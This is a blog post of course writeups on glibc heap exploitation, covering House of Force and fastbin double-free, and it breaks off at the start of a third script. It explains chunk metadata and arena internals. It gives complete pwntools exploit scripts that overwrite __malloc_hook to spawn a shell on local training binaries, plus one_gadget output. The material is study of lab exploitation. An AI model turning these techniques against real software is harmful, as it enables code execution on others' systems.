2025-12-24
Tags: pwn
Table of Contents
Below are some of my notes and challenge writeups for Max Kamper's
excellent Glibc malloc pwn course, HeapLAB [1].
[3mThis page will be updated with more challenges in the
future.[23m
== [1m[4mHouse of Force[22m[24m
This technique comes from Phantasmal Phantasmagoria's Malloc
Maleficarum [2], one of the most seminal early works in pwning
Glibc malloc (and the reason so many heap exploits are called
"House of XYZ").
In Glibc, malloc requests for memory are serviced from the top
chunk (aka the wilderness).
Because heap metadata is stored in-line (the size of a chunk
occupies the first 8 bytes of every chunk, just before the address
returned from [40m[35m`malloc`[39m[49m), if we have a heap
overflow we can clobber this metadata and create a huge top chunk;
so huge in fact that it wraps around the virtual address space to
an address before the start of the top chunk.
Then we can request a massive chunk from malloc that stops just
short of our target address such that the first 8 bytes of the
(new) top chunk reside at the target address.
Use the same heap overflow as before and we've overwritten the
target value!
=== [1m[4mSolve[22m[24m
The vulnerability in this binary is that [40m[35m`read`[39m[49m
uses the size of the [3mchunk[23m (returned by
[40m[35m`malloc_usable_size`[39m[49m), not the size of the
user's data, resulting in an 8 byte overflow if we request
[40m`CHUNK_SIZE-8`[49m bytes from malloc (this is the maximum
size of [3muser[23m data that can fit in a chunk of size
[40m`CHUNK_SIZE`[49m).
[33mfrom[0m[1m[37m [0m[1m[37mpwn[0m[1m[37m [0m[33mimport[0m[1m[37m [0m[1m[36m*[0m[1m[37m[0m
[1m[37m[0m
[1m[37mcontext[0m[1m[36m.[0m[1m[37mlog_level[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33m'warning'[0m[1m[37m[0m
[1m[37m[0m
[1m[37melf[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mcontext[0m[1m[36m.[0m[1m[37mbinary[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[33m"house_of_force"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mlibc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[1m[37melf[0m[1m[36m.[0m[1m[37mrunpath[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[33mb[0m[33m"/libc.so.6"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mmalloc[0m[1m[37m([0m[1m[37msize[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"1"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"size: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37msize[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"data: "[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mremote[0m[1m[37m([0m[33m"localhost"[0m[1m[37m,[0m[1m[37m [0m[1m[36m1337[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"puts() @ "[0m[1m[37m)[0m[1m[37m[0m
[1m[37mlibc[0m[1m[36m.[0m[1m[37maddress[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37mint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m(),[0m[1m[37m [0m[1m[36m16[0m[1m[37m)[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37mputs[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"heap @ "[0m[1m[37m)[0m[1m[37m[0m
[1m[37mheap[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37mint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m(),[0m[1m[37m [0m[1m[36m16[0m[1m[37m)[0m[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37minfo[0m[1m[37m([0m[33mf[0m[33m"heap: 0x[0m[33m{[0m[1m[37mheap[0m[33m:[0m[33m02x[0m[33m}[0m[33m"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mtimeout[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0.5[0m[1m[37m[0m
[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"A"[0m[1m[36m*[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0xffffffffffffffff[0m[1m[37m))[0m[1m[37m[0m
[33m# we're calculating the distance between the end of the previous chunk and the address exactly one chunk away (0x20 bytes) from __malloc_hook, so that the next chunk we allocate will overwrite __malloc_hook[0m[1m[37m[0m
[33m# also we have a heap leak so put /bin/sh on the heap[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m(([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37m__malloc_hook[0m[1m[36m-[0m[1m[36m0x20[0m[1m[37m)[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[37m([0m[1m[37mheap[0m[1m[36m+[0m[1m[36m0x20[0m[1m[37m),[0m[1m[37m [0m[33mb[0m[33m"/bin/sh[0m[33m\x00[0m[33m"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37msystem[0m[1m[37m))[0m[1m[37m[0m
[33m# the size of the chunk gets passed to __malloc_hook, so we will allocate &"/bin/sh\x00" bytes[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[37mheap[0m[1m[36m+[0m[1m[36m0x20[0m[1m[36m+[0m[1m[36m0x8[0m[1m[36m+[0m[1m[36m0x8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m""[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37msendline[0m[1m[37m([0m[33mb[0m[33m"id"[0m[1m[37m)[0m[1m[37m[0m
[37mprint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvall[0m[1m[37m([0m[1m[37mtimeout[0m[1m[36m=[0m[1m[36m0.1[0m[1m[37m))[0m[1m[37m[0m
[1m[37mb'uid=1000(pwny) gid=100(users) groups=100(users),1(wheel)\n'[0m
== [1m[4mFastbin dup[22m[24m
This time the vuln is a nice and simple double free:
[40m[35m`free`[39m[49m doesn't check if an index was previously
freed, so we can free a previously [40m[35m`malloc`[39m[49med
chunk as many times as we want.
Before we move on let's talk about in-band (stored on the heap) vs
out-of-band (stored somewhere besides the heap) heap metadata.
We saw previously that the size of a chunk is stored in the chunk
itself, but how does [40m[35m`malloc`[39m[49m know where e.g.
the top chunk is in order to service a request?
A heap arena is a data structure that does all of the necessary
bookkeeping for the heap, or more accurately [3ma[23m heap.
When a program has multiple threads, it would be inefficient to
have to contend for a lock for every allocation/free, so each
thread (up to a limit) gets their own slice of the heap (the
section of program memory) governed by their own heap arena.
[33mstruct[0m[1m[37m [0m[1m[37mmalloc_state[0m[1m[37m[0m
[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33m/* Serialize access. */[0m[1m[37m[0m
[1m[37m [0m[37m__libc_lock_define[0m[1m[37m [0m[1m[37m(,[0m[1m[37m [0m[1m[37mmutex[0m[1m[37m);[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33m/* Flags (formerly in max_fast). */[0m[1m[37m[0m
[1m[37m [0m[1m[36mint[0m[1m[37m [0m[1m[37mflags[0m[1m[37m;[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33m/* Set if the fastbin chunks contain recently inserted free blocks. */[0m[1m[37m[0m
[1m[37m [0m[33m/* Note this is a bool but not all targets support atomics on booleans. */[0m[1m[37m[0m
[1m[37m [0m[1m[36mint[0m[1m[37m [0m[1m[37mhave_fastchunks[0m[1m[37m;[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33m/* Fastbins */[0m[1m[37m[0m
[1m[37m [0m[1m[37mmfastbinptr[0m[1m[37m [0m[1m[37mfastbinsY[0m[1m[37m[[0m[1m[37mNFASTBINS[0m[1m[37m];[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33m/* Base of the topmost chunk -- not otherwise kept in a bin */[0m[1m[37m[0m
[1m[37m [0m[1m[37mmchunkptr[0m[1m[37m [0m[1m[37mtop[0m[1m[37m;[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33m/* The remainder from the most recent split of a small request */[0m[1m[37m[0m
[1m[37m [0m[1m[37mmchunkptr[0m[1m[37m [0m[1m[37mlast_remainder[0m[1m[37m;[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33m/* Normal bins packed as described above */[0m[1m[37m[0m
[1m[37m [0m[1m[37mmchunkptr[0m[1m[37m [0m[1m[37mbins[0m[1m[37m[[0m[1m[37mNBINS[0m[1m[37m [0m[1m[36m*[0m[1m[37m [0m[1m[36m2[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[36m2[0m[1m[37m];[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33m/* Bitmap of bins */[0m[1m[37m[0m
[1m[37m [0m[1m[36munsigned[0m[1m[37m [0m[1m[36mint[0m[1m[37m [0m[1m[37mbinmap[0m[1m[37m[[0m[1m[37mBINMAPSIZE[0m[1m[37m];[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33m/* Linked list */[0m[1m[37m[0m
[1m[37m [0m[33mstruct[0m[1m[37m [0m[1m[37mmalloc_state[0m[1m[37m [0m[1m[36m*[0m[1m[37mnext[0m[1m[37m;[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33m/* Linked list for free arenas. Access to this field is serialized[0m
[33m by free_list_lock in arena.c. */[0m[1m[37m[0m
[1m[37m [0m[33mstruct[0m[1m[37m [0m[1m[37mmalloc_state[0m[1m[37m [0m[1m[36m*[0m[1m[37mnext_free[0m[1m[37m;[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33m/* Number of threads attached to this arena. 0 if the arena is on[0m
[33m the free list. Access to this field is serialized by[0m
[33m free_list_lock in arena.c. */[0m[1m[37m[0m
[1m[37m [0m[1m[37mINTERNAL_SIZE_T[0m[1m[37m [0m[1m[37mattached_threads[0m[1m[37m;[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33m/* Memory allocated from the system in this arena. */[0m[1m[37m[0m
[1m[37m [0m[1m[37mINTERNAL_SIZE_T[0m[1m[37m [0m[1m[37msystem_mem[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37mINTERNAL_SIZE_T[0m[1m[37m [0m[1m[37mmax_system_mem[0m[1m[37m;[0m[1m[37m[0m
[1m[37m};[0m[1m[37m[0m
The important bit of metadata we care about here are the fastbins.
As an optimization for small (and therefore frequent) allocations,
for chunk sizes within the first [40m`NFASTBINS`[49m multiples of
the smallest chunk size, freeing a chunk of this size adds it to a
corresponding singly linked list (and the heads of these linked
lists are stored in [40m[35m`fastbinsY`[39m[49m).
And while the heads of the linked lists are stored in the arena,
subsequent pointers are stored in-line in the chunks themselves,
[4moverlapping with where user data normally goes[24m.
I like to think of a chunk like this:
[33mstruct[0m[1m[37m [0m[1m[37mfastbin_chunk_0x20[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33munion[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mstruct[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[36msize_t[0m[1m[37m [0m[1m[37m_size[0m[1m[37m [0m[1m[37m:[0m[1m[37m [0m[1m[36m61[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[36munsigned[0m[1m[37m [0m[1m[36mint[0m[1m[37m [0m[1m[37mnon_main_arena[0m[1m[37m [0m[1m[37m:[0m[1m[37m [0m[1m[36m1[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[36munsigned[0m[1m[37m [0m[1m[36mint[0m[1m[37m [0m[1m[37mis_mmapped[0m[1m[37m [0m[1m[37m:[0m[1m[37m [0m[1m[36m1[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[36munsigned[0m[1m[37m [0m[1m[36mint[0m[1m[37m [0m[1m[37mprev_inuse[0m[1m[37m [0m[1m[37m:[0m[1m[37m [0m[1m[36m1[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m};[0m[1m[37m[0m
[1m[37m [0m[1m[36msize_t[0m[1m[37m [0m[1m[37msize[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m};[0m[1m[37m[0m
[1m[37m [0m[33munion[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mstruct[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[37mfastbin_chunk_0x20[0m[1m[36m*[0m[1m[37m [0m[1m[37mfd[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[36mchar[0m[1m[37m [0m[1m[37m_reserved[0m[1m[37m[[0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[36m-[0m[1m[36m8[0m[1m[37m];[0m[1m[36m<<[0m[37mfootnote[0m[1m[37m([0m[1m[36m1[0m[1m[37m)[0m[1m[36m>>[0m[1m[37m[0m
[1m[37m [0m[1m[37m}[0m[1m[37m [0m[1m[37mfree[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[33mstruct[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[36mchar[0m[1m[37m [0m[1m[37mdata[0m[1m[37m[[0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m];[0m[1m[37m[0m
[1m[37m [0m[1m[37m}[0m[1m[37m [0m[1m[37minuse[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m};[0m[1m[37m[0m
[1m[37m};[0m[1m[37m[0m
Combining this knowledge with our double free, we could free chunk
A twice, causing it to be added to the corresonding fastbin
freelist twice; then we could [40m[35m`malloc`[39m[49m chunk B
of the same size as A, and the first 8 bytes of the user accessible
data of chunk B that [40m[35m`malloc`[39m[49m returns will
still be interpreted as a [40m[35m`fd`[39m[49m pointer for the
[3mnext[23m occurence of chunk A (the one that's still in the
freelist).
Then we could corrupt this [40m[35m`fd`[39m[49m pointer and
when we allocate another chunk C, [40m[35m`malloc`[39m[49m will
return a chunk at wherever the corrupted [40m[35m`fd`[39m[49m
points.
As an additional complication, we can't actually just allocate
chunk A and then free it twice, because
[40m[35m`malloc`[39m[49m checks if the chunk we're adding to
the freelist is the same chunk that's at the head of the freelist:
[1m[36msize_t[0m[1m[37m [0m[1m[37mvictim_idx[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37mfastbin_index[0m[1m[37m [0m[1m[37m([0m[37mchunksize[0m[1m[37m [0m[1m[37m([0m[1m[37mvictim[0m[1m[37m));[0m[1m[37m[0m
[33mif[0m[1m[37m [0m[1m[37m([0m[37m__builtin_expect[0m[1m[37m [0m[1m[37m([0m[1m[37mvictim_idx[0m[1m[37m [0m[1m[36m!=[0m[1m[37m [0m[1m[37midx[0m[1m[37m,[0m[1m[37m [0m[1m[36m0[0m[1m[37m))[0m[1m[37m[0m
[1m[37m [0m[37mmalloc_printerr[0m[1m[37m [0m[1m[37m([0m[33m"malloc(): memory corruption (fast)"[0m[1m[37m);[0m[1m[37m[0m
This is trivially bypassed by freeing a different chunk in between
the two [40m[35m`free`[39m[49ms of chunk A.
=== [1m[4mSolve[22m[24m
There are a few complications to address when actually writing the
exploit.
We have a libc leak again so malloc hooks (particularly
[40m[35m`__malloc_hook`[39m[49m and
[40m[35m`__free_hook`[39m[49m) are viable targets.
However, because this time we're allocating a fake chunk from a
corrupted freelist pointer, the 16 bytes before our target must be
valid metadata for a freed chunk.
[40m[35m`__free_hook`[39m[49m is surrounded by zeroes so it's a
no-go, but [40m[35m`__malloc_hook`[39m[49m is a different
story:
(IMG) image
Instead of putzing around with finding a good alignment ourselves,
we can let pwndbg do it for us:
(IMG) image
But a size field of 0xf8 is larger than that of the largest chunk's
fastbin (0x80).
The values of [40m[35m`_IO_wide_data_0+240`[39m[49m differ
between my aarch64-linux NixOS VM (running the binary with
QEMU/Rosetta [3]) and the intended x86_64-linux Ubuntu VM, so this
approach won't work for my setup specifically.
The same is also true for trying FSOP, as we can't create a fake
chunk in [40m[35m`__GI__IO_file_jumps`[39m[49m.
We'll soon discuss a very interesting method of using the fastbin
dupe to corrupt [40m[35m`main_arena`[39m[49m's top_chunk
pointer, but that requires more allocations than the 7 we're
permitted here, so we'll settle for overwriting the target for now.
[33mfrom[0m[1m[37m [0m[1m[37mpwn[0m[1m[37m [0m[33mimport[0m[1m[37m [0m[1m[36m*[0m[1m[37m[0m
[1m[37m[0m
[1m[37mcontext[0m[1m[36m.[0m[1m[37mlog_level[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33m'warning'[0m[1m[37m[0m
[1m[37m[0m
[1m[37melf[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mcontext[0m[1m[36m.[0m[1m[37mbinary[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[33m"fastbin_dup"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mlibc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[1m[37melf[0m[1m[36m.[0m[1m[37mrunpath[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[33mb[0m[33m"/libc.so.6"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mmalloc[0m[1m[37m([0m[1m[37msize[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"1"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"size: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37msize[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"data: "[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mfree[0m[1m[37m([0m[1m[37mindex[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"2"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"index: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37mindex[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mremote[0m[1m[37m([0m[33m"localhost"[0m[1m[37m,[0m[1m[37m [0m[1m[36m1337[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"puts() @ "[0m[1m[37m)[0m[1m[37m[0m
[1m[37mlibc[0m[1m[36m.[0m[1m[37maddress[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37mint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m(),[0m[1m[37m [0m[1m[36m16[0m[1m[37m)[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37mputs[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"Enter your username: "[0m[1m[37m,[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0x20[0m[1m[37m))[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mtimeout[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0.5[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"3"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m()[0m[1m[37m[0m
[37mprint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m())[0m[1m[37m[0m
[1m[37m[0m
[33m# 0x20 freelist: NULL[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"A"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"B"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[36m0[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x20 freelist: [chunk A] -> NULL[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[36m1[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x20 freelist: [chunk B] -> [chunk A] -> NULL[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[36m0[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x20 freelist: [chunk A] -> [chunk B] -> [chunk A] -> NULL[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37melf[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37muser[0m[1m[36m-[0m[1m[36m8[0m[1m[37m))[0m[1m[37m [0m[33m# chunk C[0m[1m[37m[0m
[33m# 0x20 freelist: [chunk B] -> [chunk A] -> &user[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"D"[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x20 freelist: [chunk A] -> &user[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"E"[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x20 freelist: &user[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"F"[0m[1m[36m*[0m[1m[36m8[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[33mb[0m[33m"pwned"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"3"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m()[0m[1m[37m[0m
[37mprint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m())[0m[1m[37m[0m
[1m[37mb'target: XXXXXXX\n'[0m
[1m[37mb'target: pwnedXX\n'[0m
=== [1m[4mChallenge solve[22m[24m
So I hinted that there's a way to corrupt
[40m[35m`main_arena`[39m[49m's top_chunk pointer to achieve a
truly arbitrary write, and indeed we'll do just that.
The basic idea is that we have an arbitrary write over the fastbin
head pointers; most values don't point to valid freed fastbin
chunks and will therefore crash during the integrity checks when
allocating from that fastbin, but what if we used that value to
create a fake free fastbin cache inside
[40m[35m`main_arena`[39m[49m?
Then we could use another fastbin dupe to clobber the
[40m[35m`top`[39m[49m chunk pointer, which is convenient
because allocations serviced from the top chunk are not subject to
the same strict size integrity checks as fastbin chunks!
By settings the the [40m[35m`top`[39m[49m pointer to just
before [40m[35m`__malloc_hook`[39m[49m (with some misalignment
introduced to ensure the fake top chunk has a valid size field), we
can jump to a one_gadget when we next call
[40m[35m`malloc`[39m[49m:
[1m[37mone_gadget [0m[33m$([0m[1m[37mpatchelf --print-rpath fastbin_dup_2[0m[33m)[0m[1m[37m/libc.so.6[0m
[1m[37m0xc4dbf execve("/bin/sh", r13, r12)[0m
[1m[37mconstraints:[0m
[1m[37m [r13] == NULL || r13 == NULL || r13 is a valid argv[0m
[1m[37m [r12] == NULL || r12 == NULL || r12 is a valid envp[0m
[1m[37m[0m
[1m[37m0xc4ddf execve("/bin/sh", rbp-0x40, r12)[0m
[1m[37mconstraints:[0m
[1m[37m address rbp-0x38 is writable[0m
[1m[37m rdi == NULL || {"/bin/sh", rdi, NULL} is a valid argv[0m
[1m[37m [r12] == NULL || r12 == NULL || r12 is a valid envp[0m
[1m[37m[0m
[1m[37m0xc4de6 execve("/bin/sh", rbp-0x40, r12)[0m
[1m[37mconstraints:[0m
[1m[37m address rbp-0x38 is writable[0m
[1m[37m rax == NULL || {rax, rdi, NULL} is a valid argv[0m
[1m[37m [r12] == NULL || r12 == NULL || r12 is a valid envp[0m
[1m[37m[0m
[1m[37m0xe1fa1 execve("/bin/sh", rsp+0x50, environ)[0m
[1m[37mconstraints:[0m
[1m[37m [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv[0m
As it happens we control the contents of [40m`[rsp+0x50]`[49m,
which we can set to a string that prevents further argument
processing; [40m`"-s"`[49m does the trick for
[40m[35m`dash`[39m[49m/[40m[35m`bash`[39m[49m.
[33mfrom[0m[1m[37m [0m[1m[37mpwn[0m[1m[37m [0m[33mimport[0m[1m[37m [0m[1m[36m*[0m[1m[37m[0m
[1m[37m[0m
[1m[37mcontext[0m[1m[36m.[0m[1m[37mlog_level[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33m'warning'[0m[1m[37m[0m
[1m[37m[0m
[1m[37melf[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mcontext[0m[1m[36m.[0m[1m[37mbinary[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[33m"fastbin_dup_2"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mlibc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[1m[37melf[0m[1m[36m.[0m[1m[37mrunpath[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[33mb[0m[33m"/libc.so.6"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mmalloc[0m[1m[37m([0m[1m[37msize[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m):[0m[1m[37m[0m
